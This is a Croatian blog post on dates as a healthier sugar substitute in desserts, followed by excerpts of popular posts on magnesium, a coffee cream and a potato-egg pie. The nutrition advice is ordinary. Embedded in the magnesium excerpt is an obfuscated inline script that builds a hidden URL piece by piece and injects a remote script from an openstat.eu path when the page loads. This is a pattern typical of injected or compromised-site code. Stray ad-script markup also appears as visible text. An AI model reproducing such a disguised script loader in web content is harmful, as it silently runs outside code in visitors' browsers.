DATULJE - PRIRODNA ALTERNATIVA ZA ŠEĆER





Datulje - prirodna alternativa za šećer 


<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>


Iako su prirodno slatke, datulje se nutritivno značajno razlikuju od bijelog šećera. Dok rafinirani šećer sadrži “prazne kalorije” bez vlakana, vitamina i minerala, datulje su bogate vlaknima, kalijem, magnezijem i antioksidansima. Upravo ta kombinacija čini ih zanimljivom alternativom u kolačima, energetskim pločicama i raznim sirovim desertima.





Zašto su datulje zdravija opcija?


Jedna od glavnih prednosti datulja je njihov prirodni sadržaj vlakana. Vlakna usporavaju apsorpciju šećera u krvotok, što znači da ne dolazi do naglog skoka i pada razine glukoze kao kod konzumacije rafiniranog šećera. To može pomoći u održavanju stabilnije energije tijekom dana.

Osim toga, datulje sadrže prirodne šećere glukozu i fruktozu, ali u kombinaciji s hranjivim tvarima. Zbog toga se često koriste u prehrani sportaša ili kao brzi, ali nutritivno bogat međuobrok.

Važno je naglasiti da su datulje i dalje kalorične, pa ih treba konzumirati umjereno. No u usporedbi s klasičnim zaslađivačima, nude znatno više nutritivne vrijednosti.




Kako koristiti datulje u desertima?


Datulje su iznimno svestrane u kuhinji. Mogu se koristiti na nekoliko načina, na primjer u obliku paste za zaslađivanje biskvita i muffina, kao baza za sirove kolače i energetske kuglice, kao prirodni zaslađivač u smoothieju ili sitno sjeckane u zobene kekse ili domaću granolu.

Posebno su popularne u veganskim i “raw” receptima jer, osim što zaslađuju, djeluju i kao vezivni sastojak. U kombinaciji s orašastim plodovima i kakaom mogu stvoriti bogate čokoladne deserte bez dodanog šećera.



Datulje kao zamjena za druge nezdrave sastojke


Osim šećera, datulje mogu djelomično zamijeniti i masnoće u određenim receptima. Njihova prirodna vlažnost i gusta tekstura omogućuju smanjenje količine maslaca ili ulja u kolačima. Tako desert postaje lakši, ali i dalje ostaje mekan i aromatičan.


Datulje predstavljaju jednostavnu i prirodnu alternativu rafiniranom šećeru u desertima. Osim što pružaju slatkoću, obogaćuju recepte vlaknima i mineralima te daju bogatu, karamelastu aromu. Iako nisu čarobno rješenje, mogu biti dio pametnijeg pristupa slasticama, onog koji ne znači odricanje, već promišljeniji izbor sastojaka.


Datulje prirodna alternativa za šećer

Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

PIKANTNA PITA OD JAJA I KRUMPIRA 🥔

Slika
https://punkufer.dnevnik.hr/clanak/hrana-i-pice/recept-za-rafanatu---958260.html Pikantna pita od jaja i krumpira  <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Ime jela dolazi od talijanske riječi  rafano , što znači hren – ključni sastojak ove fritate. Smatra se da su ga u   Basilicatu donijeli Normani još u 11. stoljeću, a s vremenom je postao neizostavan dio lokalne kuhinje. Zbog svoje dostupnosti, nutritivne vrijednosti i ljekovitih svojstava hren je bio osobito cijenjen među seljacima i pastirima, koji su ga nazivali "tartufom siromašnih" .  Pikantna pita od jaja i krumpira  Sastojci : 300 g krumpira, oguljenog, kuhanog i zgnječenog 8 jaja 80 g sira pecorino, naribanog 40 g hrena, naribanog (svježeg) sol, papar, maslinovo ulje Priprema: Zagrijte grill u pećnici na srednje jaku temperaturu. Vilicom rastresite...
Pročitajte više